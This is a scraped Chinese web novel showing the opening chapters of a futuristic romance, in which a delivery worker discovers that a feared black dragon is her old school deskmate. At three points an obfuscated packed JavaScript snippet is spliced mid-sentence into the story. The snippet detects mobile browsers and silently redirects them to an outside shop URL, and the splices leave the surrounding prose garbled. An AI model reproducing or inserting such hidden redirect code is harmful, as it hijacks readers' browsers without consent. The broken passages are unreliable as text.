《被疯批老熟人觊觎的救世主》 1. 第 1 章 脚下一片冰凉,乔南芯睁开眼,低下头看到自己踩在湿漉漉的透明玻璃平台上,她的位置处于高空,眼前高楼的霓虹灯光折射出迷幻的色彩。 高楼外是红色的巨大虚拟广告牌和色彩斑斓的动物全息投影正在来回切换,半空中随处可见的小型飞船和汽车像自由的鸟儿穿梭在楼宇之间,悬浮空轨闪烁着流动的光带唰地一下掠过。 天空灰暗,淅淅沥沥的雨水如一层朦胧的纱笼罩着整个主城区。 望着眼前高科技的世界,乔南芯意识到自己穿越到另一个世界了。 和丧尸王同归于尽后,她得到了一张复活卷轴? 【宿主,这是千年后的世界。】 突然出现的淡蓝色全息光屏把乔南芯吓了一下,她凑近打量,光屏上有她的基本信息。 【姓名:乔南芯】 【性别:女】 【年龄:122岁】 看到年龄这里,乔南芯打趣自己:“我居然能活到一百多岁。” 光屏上一个小圆球图案动了动,机械音响起:“这里的世界因科技水平,200+是普遍年龄,贵族可通过基因改造提升至400+寿命,精神力强大者一般可以活到六百岁左右。此外,兽人们的寿命比人类更长,直至上千年。” 乔南芯大概了解了,即便是千年后的世界,人之间也有差距,她关心地问:“那我精神力强大吗?” 毕竟,在这个充满科技感的世界,谁不想活久一点。 等年龄大了应该还能购买年轻的仿真皮囊,换上改装的灵活肢体。 光屏上弹出一个信息:【身份:普通公民】 好吧,她既不是身份显赫的贵族,也不是天赋卓绝的精神力者。 既来之,则安之。 系统又突然说:【在这个世界,兽人掌权,公民生存资源恶劣,需要宿主你成为公民的领袖,成为这个世界的救世主。】 乔南芯果断拒绝。 她没精力带公民翻身做主人,没发生灾难大家都活着好好的已经够好了。 再说了,在原来的世界她已经拼过一次,这次活着只想躺平。 肯定有更厉害的人能当救世主,就比如系统刚刚说的精神力强大者,而她只是个普通公民。 乔南芯不理会系统的任务,转身乘坐悬浮梯,对着一块全息光屏说去一楼。 没有丝毫失重感,只是眨眼间,她就到了底层。 当务之急是找份工作,只有工作拿到星币她才能活下去。 刚刚站在那么高没看清,现在才发现街上的角落里有很多乞丐。 系统解释:【这些是无业游民。因为兽人的压榨掠夺,星际公民的生命受到严重威胁。】 乔南芯:“真好,还活着。” 系统:【?】 在乔南芯原来的末世世界,死亡是常有的事,比这里更加残酷。 话说,兽人是什么东西? 乔南芯现在才想起来问系统。 系统调出刚刚她站在玻璃平台上看到的动物全息投影,一个偌大的彩色猫猫头在高楼上方。 【你可以理解为这个世界的兽人凌驾于一切之上,在这里我赠送你三条生存守则。】 【躲兽人、没躲过巴结讨好,上条没用等死。】 乔南芯:“……听起来这么厉害,你让我一个普通人去当救世主?这不是让我去送死吗?” 系统:【宿主,你是天选之人。】 乔南芯不管自己是不是天选之人,她只想好好躺平。 她按照光脑给出的导航去往一处贫民区。 脚踩过积着脏水的地面,眼前是逼仄潮湿的破败街巷,锈迹斑斑的小矮屋挤在一起。 雨雾中色彩鲜艳的牌子忽明忽暗,头上的电线像蛛网般缠绕。 再往远处看去,闪烁着明亮彩灯的摩天楼刺破灰蒙的天。 繁华的主城区和充满脏污的贫民区仿若两个世界。 贫民区的墙上涂鸦和广告层层叠叠,新的覆盖在旧的上面,有的被雨水淋湿烂掉。 #寿命延长针,只需一针,保管你活到千年之后。 #飞船汽车零件,以旧换新。 #低价星币,以一返十。 乔南芯看了一圈,甚至还有“从贫民变成千万富豪”的浮夸广告,骗子无处不在啊。 巷子的灯管坏了,总是忽明忽暗,映照出她思考的神情。 乔南芯最终在一众明显就是送命的工作中撕下一张招工启事:给兽人送仿真高级机器人满足他们的生理需求。 她过去面试,一个字还没说,趴在桌上睡觉的人身子没动,手里却扔出一个工牌,示意她今天就可以开始上班。 乔南芯:……这么草率的吗? 经过这几天,她更加了解这份工作。 兽人们因为强大的精神力难以抑制时常暴走,说得直白些就是发情期。又因为雄兽比雌兽多,普通的公民又难以承受,因此有公司推出仿真机器人满足他们。 兽人的需求解决,不会随便狂暴控制不住,大部分就不会来伤害公民,公司那边也可以赚到钱。 直到目前为止,她遇到的客户有的好说话,有的看起来不好惹但也没有过多为难她。 总体来说,乔南芯认为这份工作还不错,至少能让她有一处地方住,能喝得起实惠的营养液。 接下来就是攒钱,提高生活质量。 这么想着,乔南芯对生活有了盼头,她送完最后一单回公司打卡下班,倏地听到女孩哭泣的声音。 她循着声音慢慢走过去,是扎着两个小啾啾的朱绮同事哭得伤心欲绝。 乔南芯上班第一天就是朱绮好心带着她,跟她说送货的注意事项。 “怎么了?” 乔南芯拿纸给她擦眼泪,一旁的同事们纷纷一脸默哀。 朱绮抽噎、断断续续地说:“给我、派的单子……是、是雪岌崖。” “什么崖?那里怎么了?”乔南芯什么都不了解。 其她同事语气凝重给她解释:“雪岌崖只住了一位。” 乔南芯直白了当地问:“什么动物?” “黑龙。” 此话一出,所有人都更沉重了,寂静中只有朱绮一直在哭:“那可是黑龙,去了就没命回来,之前死的同事都是因为送雪岌崖的单子。” 其她同事补充:“去了就是给那黑龙送口粮,那黑龙凶残暴戾,精神力强大到可毁灭一个主城区。” 无人敢惹,更没人想接他的单,只是公司派来的单无法拒绝,一定得有人送。 这就是为什么招工要贴在贫民区,因为这是一份高危工作,要的就是她们这群没钱的人干。 没钱代表没背景,死了也没人在意。 乔南芯抱住朱绮,安慰地轻轻拍她后背,声音温柔:“那把单子转交给我吧,我去。” 她刚说完,哭泣的朱绮止住哭声,被她的话震惊到哭不出来,其他同事也再三确认她是不是认真的 这是一个疯狂且不要命的决定。 乔南芯却不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407335|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意,总要有人去做这事,朱绮帮了她很多,现在是她回报的时候。 朱绮眼底含泪摇头:“你不要命了?” 乔南芯主动把朱绮的这单移到她的待送货处,没有去赴死的凝重,反而一脸轻松地笑了笑:“万一我不会死呢?” 单子已经转交,朱绮想再拿回去,乔南芯却不同意。 乔南芯有时候性子挺犟的,决定的事没有人能改变。 无奈之下,同事们只能尽最大的力量帮她准备好各种高科技武器和保命设备,千叮咛万嘱咐叫她到地方后放下机器人包裹后就立刻回来,或许还有一线生机。 乔南芯看着一大堆他们的心意,再看他们一脸沉重,噗嗤一声笑出来,反过来安慰他们:“放心吧,我一定会回来的。” 她好不容易在这个世界有点盼头了,刚赚到点钱,怎么会轻易死。 她还要过躺平生活呢。 最后,在众同事看死人的目光中,她设定好飞船路线,出发前往黑龙所在地雪岌崖。 这科技光脑真好用,不仅能规划出一条最优路线,还能自动躲避空中突然飞过来的不明物体。 乔南芯坐在软椅上,好奇浏览光脑搜寻有关黑龙的资料。 这一看不得了。 黑龙性格暴躁,喜欢吃人,曾毁灭过多个主城区。 简直就是个暴君,一不高兴就提刀杀人,血溅三尺。 星际联邦无可奈何,更不敢惹怒这些精神力强大的兽人。 乔南芯看到后面心越凉,生出一丝害怕。 她在想,黑龙和末世那些变异怪物比起来谁更厉害。 乔南芯幽幽地叹了口气,转头询问系统:“有没有办法让我在路上变成比黑龙还厉害的兽人?” 俗话说得好,打不过就加入,她变成兽再干死黑龙。 系统调出图片给她看,以便她更好理解:【其实一开始,兽人是精神力强悍的公民基因突变,联邦研发了一种专门抑制兽人们兽形、狂躁,强制他们服从的兽圈。久而久之,兽人们不满联邦无底线的管控,联合反抗,爆发了一场激烈的大战。双方伤亡惨重,自那以后,星际联邦和兽人签订和平条约。表面和平,实则兽人仗着自身精神力强大,明里暗里对公民实行报复。】 乔南芯顺着系统的资料继续往下说:“兽人记恨之前被联邦的剥削压迫,同样的,公民也对兽人不满,只是不敢表现出来。” 系统:【是的。】 起初的联邦担心容易暴走的兽人狂化伤害无辜公民,后来又担心权力管不住兽人,担心兽人某天会取代他们管控整个星际。 简单了解完星际历史,乔南芯更加确信自己有命去没命回,出发前的她还是太自信了,不知天高地厚。 她五官没有任何变化,却带着一股淡淡的、灰调的死气。 乔南芯忍不住问系统有什么用,根据她看的小说分析,主角穿越后的系统一定能给主角开非常牛逼的金手指。 她对着光脑上的小圆球一脸期待,满脸写着“快告诉我,你能救我对不对?!” 【很抱歉。】 淡蓝色全息光屏上只出现这没用的三个字。 乔南芯安慰自己也安慰系统:【没事,来世我们还做好朋友。】 系统:【宿主还记得我给你的资料提到,雄兽比雌兽多,普通公民难以承受兽人……】 “打住。”系统还没说完,乔南芯跟三好学生一样抢答,“你该不会要告诉我,你给我的金手指是能让我承受兽人嗯嗯那方面的?” 2. 第 2 章 系统感受到她情绪波动,分析她说的意思:【是的,就是你脑子里想的那样。】 乔南芯发自内心地问:“你是正经系统吗?” 她来的是正经星际世界吗? 这好像不是限制文吧? 她要这个能力有啥用?要让她去色诱黑龙活下来吗? 如果色诱有用,她也可以考虑一下。 不过杀人不眨眼的黑龙,是会好色吗? 也许她跪地求饶以表忠心,表示愿意给黑龙当小弟,或许还有一线生机。 系统:【宿主,我这边分析出三种方案,你要看看吗?】 乔南芯:“看看。” 【生存法则一:色诱。】 【众所周知,兽人那方面需求量大,凭借宿主的美貌和本系统的金手指,一定能让黑龙对你爱不释手*********】 乔南芯刚想打趣它还有详细的解释,就看到它后面的内容突然变成一串乱码。 “你这是说什么小黄话了?想不到你看着这么老实,心里如此肮脏。” 它乱码中止,又跳出新的一行。 【生存法则二:求饶。】 【众所周知,以兽人对星际公民的憎恨,他们喜欢看公民们趴在地上一把鼻涕一把泪求饶,他们沉迷并享受这种感觉。】 乔南芯:“生存法则三呢?” 她也想到了前两条,就想知道最后一条是什么。 【生存法则三:正面硬刚。】 【众所周知,在公民们小心翼翼、如履薄冰生存的大背景下,宿主选择正面硬刚,勇气可嘉,也许黑龙会因此高看你一眼,留你一命。】 “……” 听系统啰嗦的几句话,简直是听了几句废话。 乔南芯反问:“你觉得可能吗?我正面硬刚可能活下来?” 系统有问必答:【绝无可能。】 乔南芯被这系统无语到笑了一声:“谢谢你,我都要死了还愿意逗我笑。” 飞船显示屏滴滴两声提醒她还有十分钟到附近的公民居住地。 乔南芯带好所有的高科技武器,她已经有了计划,就按照系统给出的三条保命法则行动。 先用最稳妥的色诱,没有什么比活下去更重要。 色诱不行再启动planB求饶,尊严算什么,能活下去她都能叫对方一声爹,前面都行不通她再用第三招。 当然,她也许没有机会能活到用第三招。 根据同事们的说法,黑龙的领地意识很强,她的飞船不能停留在上空,必须停在离雪岌崖老远且有公民居住的城区。 她本来还想飞到雪岌崖上方直接把包裹扔下去后跑路,看来是行不通了。 她的飞船降落在城区,不少人盯着这边看,乔南芯一出飞船,有个小孩童言无忌:“看,黑龙的饭来了。” 乔南芯:…… 怎么说话呢这小孩,说这话真晦气。 大人偷看了眼乔南芯,捂着小孩的嘴匆忙离开。 乔南芯此时平静了不少,双腿踩上小型飞行器继续飞向雪岌崖。 穿过一片茂密的森林,终于到了雪岌崖,崖上覆盖着厚厚的雪。 这是因为黑龙自身体温低,散发的精神力使得附近一片区域被冰雪覆盖。 离得近了,乔南芯都控制不住身体颤抖。 她小心翼翼地将飞行器调到最小档,自以为没发出太大动静,便靠近了黑乎乎的洞穴,准备把包裹放到穴口后立刻跑路。 此时订单上传来一条消息。 是这单的黑龙买家发来的。 【送进来,我当面签收。】 如巨兽大口的洞穴飘出雪粒子,寒风吹得乔南芯在小型飞行器上差点站不稳。 好一个威胁。 乔南芯壮着胆子回复黑龙顾客:【不好意思,我社恐,就放门口了,祝您万事顺心。】 她小心翼翼放下包裹,编辑好的信息点击发送,启动飞行器调转方向。 飞行器开到最快速度,整个冒着幽蓝的光流,却直直撞上了骤然拔地而起的巨大冰柱。 乔南芯重重地摔倒在地上,看了眼已经报废的飞行器,心都在滴血。 这飞行器也是同事们凑星币给她准备的,才用了一次就没了。 现在没有交通工具,她没办法回去,再看冲天冰柱,她是必须走这艰难的一遭了。 冲! 乔南芯深吸一口气,拿上机器人包裹,转身走向如万丈深渊的神秘巢穴。 横竖都是一死,不如死前看看黑龙到底长啥样。 洞穴内漆黑一片,呼啸的冷风不断从深处传来,以及如幻觉般窸窸窣窣的小声响。 乔南芯手上拿着一根发光棒,放轻脚步,时刻注意周围的动静,她害怕自己一个不留神走进了黑龙张开的巨口里,那就真的成为送上嘴的口粮。 突然,一阵恶臭袭来,她手中的发光棒往前举了举,一群乌泱泱比她拳头大的小飞虫冲向她。 乔南芯发出一声被吓破音的尖叫,本能地往后躲,同时用发光棒和火焰枪驱散飞虫,部分飞虫被烧焦。 以为都解决完了,她的胳膊突然传来一阵刺痛。 发光棒照亮刺痛的地方,黑色的虫子正在吸她的血。 我贫血,不要啊。 乔南芯也顾不得害怕这么大只的虫子,上手抓住虫子拔掉,表情比吃了屎还难看。 她把虫子扔到地上踩死,吧唧一声,汁水在她脚底下溅开,乔南芯五官皱在一起,浑身抖擞往前跑。 一股阴冷的气息蓦然吹拂在她洁白的脸蛋,乔南芯依旧壮着胆子举着发光棒,突然照亮另一张白皙且极具攻击性的脸,眉骨凛冽,墨黑瞳色,只看了一眼,袭来的压迫感便使乔南芯摔倒在地上,发光棒也灭了。 突然出现的黑衣男人朝她走了一步,从鼻腔发出轻蔑的哼声,双手插兜居高临下睥睨着她。 系统提醒这是人形的黑龙。 不对啊,等等,这张脸刚刚瞧着好眼熟,这不是老熟人吗? 她还在绞尽脑汁想他的名字,黑龙的声音冷冷响起。 “你竟敢杀了我的小弟。” 话音落下,周围又冷了几度。 “杀都杀了,要不你看我怎么赔你……”乔南芯又怂又勇,她的座右铭是遇到事情就解决。 “一命还一命,你一条命不够还,我要把你千刀万剐。” 他声音不高且平淡,却自带威严,冷硬得像冰冷的爪子磨过铁石发出的刺音。 刚刚的发光棒在她看清那张脸时已经熄灭,此时周围伸手不见五指,浓黑如墨,将人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407336|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞噬。 死寂的黑暗中,乔南芯壮着胆子又拿出一根发光棒,刚点亮就看见男人的背后长出一双巨大的黑翼,泛着冷冽而危险的暗光,边缘锋利如刃。 男人银蓝色的竖瞳不悦地盯着她手中的发光棒。 黑翼一振,骤起狂风。 乔南芯手中的发光棒再次熄灭。 危机感告诉她生命即将受到威胁,她掏包想再拿一根发光棒,整个人猛地被掀飞,在地上翻滚几圈后才躺着不动。 刚刚那一下痛得她骨头要散架,发生得太快,她都来不及保护自己。 系统发出红色警报:【警告警告!周围危险系数直线上升!】 “我知道。”乔南芯动了动身体,疼得龇牙咧嘴还要叫系统别吵了,她的耳朵本来就被刚刚那一下弄得嗡嗡响。 “等等。” 乔南芯不敢点发光棒了,她说完后,感觉到黑龙停住了脚步。 “你的包裹已按时到达。”乔南芯把机器人包裹放下,在订单上点击送达,万一她能活着离开,可不能浪费这单的星币。 完成这单后,乔南芯和他谈起条件:“虽然是你的小弟先吸我的血,但我贸然杀了他们是我不对,我愿意留下来给你打工补偿你。” “补偿?”黑龙的声音听不出喜怒,黑暗中也看不清他的神情。 乔南芯坐在地上,手边摸到了个硬硬的东西,貌似是人的头骨,被这样一吓,她语速极快地说:“我能安抚你的狂躁。” “安抚?”黑龙轻笑一声。 形势已经不是乔南芯能控制的了,她求生欲极强地立刻改口:“或者我也当你小弟?” “卑劣的人又想控制我?找死!” 他突然爆喝一声,狂风再次骤起。 反正也要死了,乔南芯嘴上逞强:“来,有种弄死我!” 黑龙的手即将抓穿她的肩胛骨时,乔南芯又是大喊一声:“秦冬予!” 黑龙的手猛地收回力道,给人巨大压迫感的身躯撞倒了她。 乔南芯这回倒在地上也顾不上痛了,因为她发现更不得了的事情。 方才,她说完“有种弄死我”后,脑海中突然闪过她和某人的嬉笑打闹,那时的她也对他说过这句话。 生死一线之间,她终于想起来他的名字,也想起来黑龙是她千年前的校霸同桌秦冬予。 怪不得人人都说黑龙狠戾暴躁。 他还是和以前一样的臭脾气,一点没变。 乔南芯刚刚询问系统,为什么黑龙和她以前的校霸同桌长得一模一样,连性格都无差别。 系统只分析出一段乱码。 她揣测秦冬予和她一样穿越到千年后的世界,基因突变变成了黑龙,只是他貌似失去了以前的记忆? “你怎么会知道我的名字?” 黑龙挑起她的下巴,银蓝色的竖瞳冷冷地盯着她。 乔南芯这下敢点亮发光棒了,她甚至拿发光棒在黑龙眼前挥了挥:“你真不认识我了?咱俩以前是好哥们啊。” 他冰冷的手猛地扼住乔南芯纤细脆弱的脖颈,毫不留情地收紧,窒息感如冰冷的潮水瞬间将乔南芯淹没。 “好好说。” 乔南芯死劲拽开他的手,艰难地往外挤字:“咳,咳,我……说的,就,是,真的啊……” 3. 第 3 章 乔南芯已经没力气挣扎了,浑身像被湿冷的泥土掩埋,透不出一点气,意识渐沉之际,她的脑海中突然想起刚认识秦冬予的时候。 那时的她病刚好回学校,走得好好的,从天而降一个书包砸中她的头。 她吃痛地捂住脑袋,抬起头想看看是哪个缺德的人随便丢书包。 冬日暖阳下,正准备翻墙的男生只穿了一件薄薄的黑色外套,看她不满的眼神,冷冽的眉眼懒懒地抬起,语气没半点歉意:“哦,不好意思啊。” 乔南芯看他好歹说了句不好意思,也就不打算计较,整理下头发无视他往学校里面走。 身后的男生长腿一跳落地,捡起书包拍了拍:“哎,要不要一起去网吧?” 乔南芯停住脚步,回头认真地看了他两眼,咧嘴一笑:“不去。” 男生单肩背上书包,又是“哦”了一声,后来他就知道乔南芯那天对他笑是什么意思了。 乔南芯把他举报了。 他人还没到网吧,班主任先找了上来。 秦冬予只好背着书包安安分分回来上课,看到乔南芯坐在他旁边,他走过去坐下,用只有两人能听到的声音说:“敢举报我,你等着。” 乔南芯不慌不忙地写着字,微微侧头,勾起嘴角:“我等着。” 他们是重新分班,对于这位新同桌,乔南芯是在这件事之后听别人说他是校霸,在学校外面当大哥很混,乔南芯心里害怕,下定决心要远离他。 乔南芯找老师换位置,刚收拾好散落的课本,一只骨节分明、青筋微微凸起的手忽然压在了最上面的书上。 乔南芯顺着这只手往上看,她的同桌秦冬予微微弯腰俯身,上半身倾得很近,垂着的眼如冬日的黑水潭冰冷又深不见底,似笑非笑:“我的好同桌,你想去哪?” 秦冬予突然松开了掐住乔南芯脖子的手,看着她脖子上的红痕皱眉。 他作为兽人,精神力强大,能感受到别人的情绪和气息,就在刚刚,他从她身上感受到了无比熟悉的气息。 那是属于他自己身上的。 难道真如这个陌生人说的,他们以前是好哥们? 可他怎么没印象了? 得到呼吸的乔南芯坐在地上摸着自己的脖颈,虽然以前她就骂不过他,但起码千年前的秦冬予没这么嚣张,不会对她起杀意。 也不知道这个黑龙是不是以前的秦冬予。 乔南芯小声嘟囔:“算了,我不和你计较。” 秦冬予轻嗤一声:“我听得见。” 乔南芯乖乖闭嘴,忘了他现在是超级牛逼的黑龙,耳朵好使。 她终于缓了过来,撑着阴冷的地面站起来,秉承良好的职业素养:“您的包裹已经送到,我先走了。” 洞穴内光线昏暗,她也看不清,没听到他的声音,便当他默认,转身走了两步,身后的黑龙阴恻恻冷笑了声:“我说过你可以走了么?” 乔南芯:…… 她现在确定,此黑龙就是她认识的校霸同桌秦冬予,一样的蛮横霸道不讲理。 乔南芯看着远处洞穴的亮光,认命般转过身,露出标准的假微笑:“是要给我五星好评吗?” 黑龙身后的黑翼已经收起来了,他舔了舔嘴唇:“你看起来比机器人更好吃。” 乔南芯也想变成龙,这样她就可以说这句话了。 她学以前网店客服的口吻:“亲,我不可以吃的哦。” “能不能吃,我说了算。” 秦冬予像鬼一样闪到乔南芯身边,粗鲁地抓住她往别的地方走。 换了个光线较亮的地方,乔南芯终于能看见了,只是她好像被放在一张桌子上,这黑龙吃饭还挺有仪式感。 她一转头,秦冬予面无表情盯着她,已经张开嘴露出牙齿俯身。 乔南芯被吓得半眯着眼,对他大喊:“秦冬予你混蛋!” 这响亮的声音没有迫使秦冬予停住,他一只手掐住她的腰,另一只手捏着她的下巴,牢牢地控制住她,冰冷的唇贴上她温热的颈侧,已经是收着力道地咬下去。 “你要谋害你的好同桌吗?!”无法挣脱的乔南芯感受到脖颈的痛,气得双腿踢他,心里又惊又怕,脖子上又痛又冷。 他的身体、嘴唇、牙齿如同洞穴外的冰柱,隔着远远的都能感受到寒气,更别提直接和她肌肤相贴。 秦冬予松了牙,盯着她白皙颈侧的牙齿印,突然感觉顺眼了很多。 而身下的某人还在喋喋不休。 他突然捏住她的嘴,不耐烦地啧了声:“闭嘴。” 乔南芯呜呜两声,眼神控诉:你不吃我,我就闭嘴。 秦冬予似乎读懂了她的眼神,放开了她,离开了这个他专门进食的地方。 乔南芯松了口气,轻轻摸着脖子上的牙印,气恼道:“这么爱咬人,你干脆变成狗。” 她从餐桌上起来,看到桌边干涸的血迹猛然收回手跳下桌子,环顾四周看到了角落中堆满的机器人包裹,这些包裹都没拆开。 乔南芯和系统吐槽:“他该不会是不行吧?” 系统:【龙生性好淫。】 乔南芯指着一堆未拆开的包裹问:“这个怎么解释?” 上班的这段时间她可是了解到兽人发情期难以抑制,有时抑制剂都没用,只能靠最原始的发泄缓解。 系统:【也许宿主可以直接去问问。】 乔南芯捂着胸口:“我还想活。” 黑龙不吃她了,现在正是逃跑的好时机。 她小心翼翼走出所在的洞,系统没有路线图,只能靠她自己找到出口离开。 巢穴内岔路纵横,曲折幽深,乔南芯扶着相似的岩壁,绕来绕去头都晕了,别说她现在找不到洞穴的出口,就连刚刚黑龙吃饭的洞室都回不去。 乔南芯怀疑秦冬予丢下她离开,就是等着她一个人困死在这。 不知绕了多久,她感觉自己离出口越来越远了。 忽然,她找到一个不太一样的支洞。 这个洞很明亮,壁上点着蜡烛,中央的床上放着一个娃娃,娃娃的身体还盖着小被子。 明眼人都看得出来,这个娃娃被人精心呵护着。 乔南芯抑制不住好奇心走过去,看到娃娃的一瞬间愣住了。 娃娃是栗色长直发,穿着毛茸茸的白色睡衣,还有兔耳朵帽子可以戴。 乔南芯确定,这个娃娃是她千年前送给秦冬予的那个。 没想到,千年之后他还留着,还这么宝贝地安排单独的房间、柔软的大床以及贴心的小棉被。 乔南芯心中甚是感动。 她拿起和自己长得差不多的娃娃,给它戴上兔耳朵帽子,放回去时才看到小棉被下面还有个兔子玩偶。 “这不是他的阿贝贝吗?” 乔南芯嘟囔一声,把秦冬予的阿贝贝拉出来一点露出脑袋,贴心地给这两个玩偶盖好被子,突然感觉背后一凉,她慢慢地转过身。 秦冬予不知何时出现,凶狠地盯着她的手:“你找死。” 乔南芯捏在被子边缘的手骤然收了回来。 差点忘了,他最讨厌别人动他的阿贝贝。 秦冬予几步并作一步走了过来,却并不是关心他的阿贝贝,而是第一时间查看女玩偶,探查发现除了帽子戴上后没别的变化,恶狠狠的视线再次落在乔南芯身上。 他眼中的杀意都要喷出来了。 乔南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407337|200589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芯捂住脖子连连后退,弱弱地指着娃娃,小心翼翼地提醒:“你不觉得这个娃娃和我很像吗?” 在人家的地盘上,她得学会低头。 经过她这样一说,秦冬予拿起娃娃和乔南芯对比,发现确实很像。 栗色长发空气刘海,小巧的鹅蛋脸带着点幼态的婴儿肥,皮肤白皙通透,眼神灵动,可甜可野。 面对他的打量,乔南芯淡淡地微笑。 这个娃娃是末世爆发前,秦冬予过生日时向她讨要的。 他已经收到了很多的生日礼物,非要闹着乔南芯送他一个礼物,当时的她不知道送什么,看他有个兔子玩偶,于是定制了一个自己的Q版娃娃当礼物送出去。 秦冬予高兴了好久,上课的时候会偷偷低下头看抽屉中的娃娃,下课的时候拿在手中抚摸,睡觉的时候抱在怀里,来回学校就放在书包中,总之就是不离身。 甚至在末世爆发后,他把这个娃娃看得比他的命还重要。 “像个屁。”秦冬予没给她一点好脸色,把娃娃放好的动作却很温柔,生怕用大力会弄坏。 乔南芯懒得研究他为什么一点都不记得她了,她现在只想回去继续打工赚钱。 “我可以回去了吗?” 秦冬予冷笑:“你觉得?” 以乔南芯对他的了解,他每次冷笑反问就是在说不可以,想都不要想。 乔南芯:“我得吃饭。” 秦冬予:“我都没吃饭。” 他的食物是乔南芯。 乔南芯不敢再提。 秦冬予再次粗暴地揪住乔南芯的衣领离开这个洞,警告她不准乱动他的东西后再次离开。 乔南芯搞不懂他到底是几个意思,真想把她活活困死在这? 确保他真的离开后,乔南芯拿出一支营养液补充能量。 好险她留了一手,做了充足的准备。 乔南芯靠在墙壁上思考如何破局。 …… 当初她和秦冬予做同桌后没说过几句话。 直到有一回,她和别人吵架,那人骂她活该父母离异没人要。 她嘴皮子没那人厉害,于是下楼捡起泥巴砸在那人身上。 那人被砸中后,乔南芯吓唬那人是屎。 那人表情扭曲,脸色难看得要哭了。 乔南芯另一只手还有一团正准备扔出去,那人故意在她的位置躲来躲去,她手中的泥巴正巧砸在了一旁正在睡觉的秦冬予脑袋上。 他的书包曾经砸中乔南芯的脑袋,现在乔南芯的泥巴砸在他头上。 扯平了。 和乔南芯吵架的人看热闹不嫌事大,喊了声“是乔南芯扔的屎”后溜去了厕所清洗。 醒来的秦冬予神情恹恹,伸手摸了把头上的泥土,在鼻子下闻了闻,眼神像淬了冰,盯着乔南芯,用命令的口吻说:“给我洗头。” 乔南芯才不想给他洗头:“你去店里洗,我出钱。” 秦冬予脸上没有笑意,一字一句威胁:“我、就、要、你、给、我、洗。” 迫于他的威压,乔南芯只好妥协,跟他回了他家,亲自拿盆接了温水,温柔地给他洗头。 秦冬予突然问:“你也是离异家庭?” 乔南芯愣了下,双手揉出白色的泡沫继续搓着他的头发,“嗯”了声后突然反应过来他说的是“也”,于是反问:“你也是?” 秦冬予低沉地“嗯”了声。 乔南芯没把这件事情放在心上,第二天去教室时,昨天还骂她的人双眼通红,郑重地和她道歉,从那之后班上再也没有人对她恶语相向。 她是后来才知道,是秦冬予特意去吓唬了那人,叫那人必须好好给她道歉。 4. 第 4 章 乔南芯想到办法了,她用光脑分析出四周最潮湿柔软的泥土,伸出手摸了摸,确定这块很柔软后直接用手刨了一团放在手心。 沾染了黑龙寒气的泥土很冰凉,放在手心像黏糊糊的绵绵冰。 系统分析不出她的想法:【宿主你挖土做什么?】 乔南芯笑了声:“当然是砸他了。” 刚刚她认真想了想,和秦冬予慢慢熟悉的起点就是她当时用泥巴砸中了他的脑袋。 秦冬予和她玩冷战。 那她只好变成热战。 系统闪过一串乱码,似乎分析不出来她这样做会导致的后果。 乔南芯顺着刚刚黑龙离开的方向走,绕来绕去又绕迷糊了。 黑龙的巢穴就像一个巨大复杂的迷宫,若是没有熟悉这里的人带路,陌生人进来只会被困死在这里。 不过这次乔南芯运气好,逮住了一只小飞虫,秦冬予说这飞虫是他的小弟,那就让他的小弟给她带路吧。 乔南芯拍拍飞虫的背:“带我去找你的老大。” 她知道飞虫能听懂,这个世界的动物都精得很,比人还聪明,但身为黑龙小弟的飞虫不愿意带路。 乔南芯只能用别的办法,她拿出了□□。 飞虫不愿意带路,她就摁下按钮,电流会传递到飞虫身上,不会电死它,但会让飞虫浑身麻麻的。 她摁了一下,尝到一点苦头的飞虫终于愿意带路,看来它也没多少骨气。 乔南芯拿出她买的肉干故意晃了晃,诱惑它:“你好好带路,这个肉干就给你吃。” 飞虫的翅膀扑腾得更快了,乔南芯掰了一点肉丝喂给拳头大的飞虫。它一口吞下后发出轻微的声音,似乎表达它还想要。 “原来你喜欢吃这个,早说嘛。”乔南芯又撕了点肉喂给它,“吃了我的肉干,就要好好带路哦。” 事实证明,在威逼利诱下,飞虫真的带她找到了黑龙,乔南芯信守承诺把肉干给了它,让它自己慢慢啃。 她藏在冰冷的石壁后,小心翼翼探出脑袋观察,宽敞的洞穴光线昏暗,只有入口挂着一盏灯。 冰冷的地上铺着一张薄薄的毯子,人类样貌的秦冬予躺在那上面,身上什么也没盖。 他一直都这样不照顾好自己,以前是,现在也是。 乔南芯轻轻地走过去,从包里拿出一条比较厚实的毯子,动作轻柔地盖在他身上。 这毯子本来是她给自己准备的,担心碰到黑龙会被冻死。 她突然反应过来,黑龙应该不怕冷吧? 不管了,反正已经给他盖上了。 乔南芯又俯身在他身上闻了闻,奇怪,他身上怎么有股血腥味?难道他受伤了? “好闻么?” 